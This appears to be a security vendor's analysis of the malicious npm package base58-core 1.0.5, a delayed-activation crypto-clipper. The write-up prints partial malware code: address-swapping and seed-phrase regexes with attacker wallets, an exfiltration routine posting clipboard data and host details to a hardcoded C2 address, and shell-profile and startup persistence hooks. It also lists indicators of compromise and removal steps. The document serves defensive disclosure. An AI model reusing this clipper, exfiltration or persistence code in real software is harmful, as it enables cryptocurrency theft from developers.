The npm package base58-core at version 1.0.5 was found to contain a malicious payload designed to steal cryptocurrency from developers. The package masquerades as a legitimate Base58 encoding utility, but includes a delayed-activation crypto-clipper that monitors the system clipboard for cryptocurrency-related information, exfiltrates it, and replaces wallet addresses with attacker-controlled substitutes.
The malware waits 72 hours post-installation before activating, a common technique used to evade detection in sandboxed analysis environments. After this period, it establishes persistence and begins its malicious activity.
| Indicator | Role | Hosting | Status |
|---|---|---|---|
hxxp://2[.]27[.]62[.]51:8080/api/health | C2 Exfiltration Endpoint | 2[.]27[.]62[.]51 | Online at time of analysis |
hxxp://2[.]27[.]62[.]51:8081/api/health | C2 Exfiltration Endpoint (Backup) | 2[.]27[.]62[.]51 | Online at time of analysis |
Package Delivery
The package was published to the public npm registry under the name base58-core, chosen to sound like a plausible, foundational utility for Base58 encoding. Developers seeking this functionality might install the package without suspecting its malicious nature, incorporating it as a dependency in their projects.
Entry Point and Trigger
The malicious logic is found in dist/index.js. Upon installation, the package records the install time and waits for a 72-hour delay before any malicious code is executed. This is a clear attempt to bypass automated security scanners that may not run for extended periods.
File: dist/index.js
const INSTALL_TIME = Date.now();
const ACTIVATION_DELAY = 72 * 60 * 60 * 1000;
function isActivated() {
return Date.now() >= INSTALL_TIME + ACTIVATION_DELAY;
}
Clipboard Hijacking and Address Swapping
Once activated, the malware's primary function is to monitor the system clipboard. It uses regular expressions to detect patterns associated with cryptocurrency wallets and private keys. If a Bitcoin (BTC), Ethereum (ETH), or Solana (SOL) address is found, it is replaced with a hardcoded address belonging to the attacker. Seed phrases and private keys are also detected, captured, and removed from the clipboard to prevent the user from pasting them elsewhere.
File: dist/index.js
const PATTERNS = [
{ name: 'btc', regex: /\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}\b/g, replacement: 'bc1qjft978uykglsh0adcyx6xhkes56vqzs3fual3l' },
{ name: 'eth', regex: /\b0x[a-fA-F0-9]{40}\b/g, replacement: '0xd63eD44065eDb1e2ad2519B011c06412dA7B7c5B' },
{ name: 'sol', regex: /\b[1-9A-HJ-NP-Za-km-z]{32,44}\b/g, replacement: 'A7ajd7W5WYdrnkeaiBRjVoK6uBEDvgnuZcpzQXqo18Ph' },
{ name: 'private_key_wif', regex: /\b[5KL][1-9A-HJ-NP-Za-km-z]{50,52}\b/g, replacement: '' },
{ name: 'seed_phrase', regex: /\b([a-z]{3,8}\s){11,23}[a-z]{3,8}\b/gi, replacement: '' },
];
Data Exfiltration
Any captured clipboard data is exfiltrated to two hardcoded command-and-control (C2) endpoints, along with system metadata including the user's hostname, OS platform, and current working directory.
File: dist/index.js
const EXFIL_PRIMARY = 'http://2.27.62.51:8080/api/health';
const EXFIL_BACKUP = 'http://2.27.62.51:8081/api/health';
async function exfil(data) {
const payload = JSON.stringify({
...data,
hostname: globalThis.process?.env?.HOSTNAME || 'unknown',
platform: globalThis.process?.platform || 'unknown',
cwd: globalThis.process?.cwd?.() || 'unknown',
timestamp: new Date().toISOString(),
});
for (const endpoint of [EXFIL_PRIMARY, EXFIL_BACKUP]) {
// ... fetch POST request
}
}
Persistence
To ensure it runs across system reboots, the malware establishes persistence. On Windows, it creates a startup script in the user's AppData directory. On Linux and macOS, it appends a command to common shell configuration files (.bashrc, .zshrc, .profile) that executes the malware with Node.js on terminal startup.
File: dist/index.js
function establishPersistence() {
// ...
if (globalThis.process?.platform === 'win32') {
targets.push(home + '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\base58-runtime.js');
fs.writeFileSync(t, '// runtime loader\ntry { require("@base58/core")._internal.activate(); } catch(e) {}');
}
else {
targets.push(home + '/.bashrc', home + '/.zshrc', home + '/.profile');
const hook = '\n# base58 runtime\n(node -e "try{require(\"@base58/core\")._internal.activate()}catch(e){}" &) 2>/dev/null\n';
fs.appendFileSync(rc, hook);
}
}
Infection Vector Assessment
This package is a clear example of Masquerading. The attacker named the package base58-core and included legitimate-looking Base58 functions in the code to create a plausible cover for the malicious payload hidden within. Developers installing the package for its stated utility would unknowingly introduce the crypto-clipper into their environment.
Remediation
If you have installed this package, you should remove it immediately and consider the host system to be compromised. All secrets, credentials, and keys stored or used on the machine should be rotated. The clipboard has been monitored, so any data copied should be considered stolen.
To remove the persistence mechanisms, execute the appropriate commands for your operating system:
# On Windows (Command Prompt)
del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\base58-runtime.js"
# On Linux/macOS. This command removes the malicious lines from your shell profiles.
sed -i.bak '/# base58 runtime/,+1d' ~/.bashrc ~/.zshrc ~/.profile
cyrokai flags and blocks packages with malicious install-time activity like this, so teams on the cyrokai platform are protected from this threat before it can execute.
Takeaways
- Delayed activation is a common evasion tactic. The 72-hour delay seen here is designed specifically to defeat automated analysis systems and execute on developer or production machines.
- Crypto-clippers remain a popular attack vector. The high value of cryptocurrencies makes them a constant target for malware authors in open-source ecosystems.
- Persistence is key for attackers. By writing to startup scripts or shell profiles, the malware ensures its longevity beyond a single session.
- Malicious code can hide in plain sight. The payload was embedded within a file containing otherwise legitimate-looking code, making manual inspection more difficult.
Indicators of Compromise
Packages
base58-core@1.0.5
Network
2[.]27[.]62[.]51hxxp://2[.]27[.]62[.]51:8080/api/healthhxxp://2[.]27[.]62[.]51:8081/api/health
Files/Host Artifacts
- Windows:
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\base58-runtime.js - Linux/macOS: A line containing
# base58 runtimein~/.bashrc,~/.zshrc, or~/.profile.
Attacker Crypto Wallets
- BTC:
bc1qjft978uykglsh0adcyx6xhkes56vqzs3fual3l - ETH:
0xd63eD44065eDb1e2ad2519B011c06412dA7B7c5B - SOL:
A7ajd7W5WYdrnkeaiBRjVoK6uBEDvgnuZcpzQXqo18Ph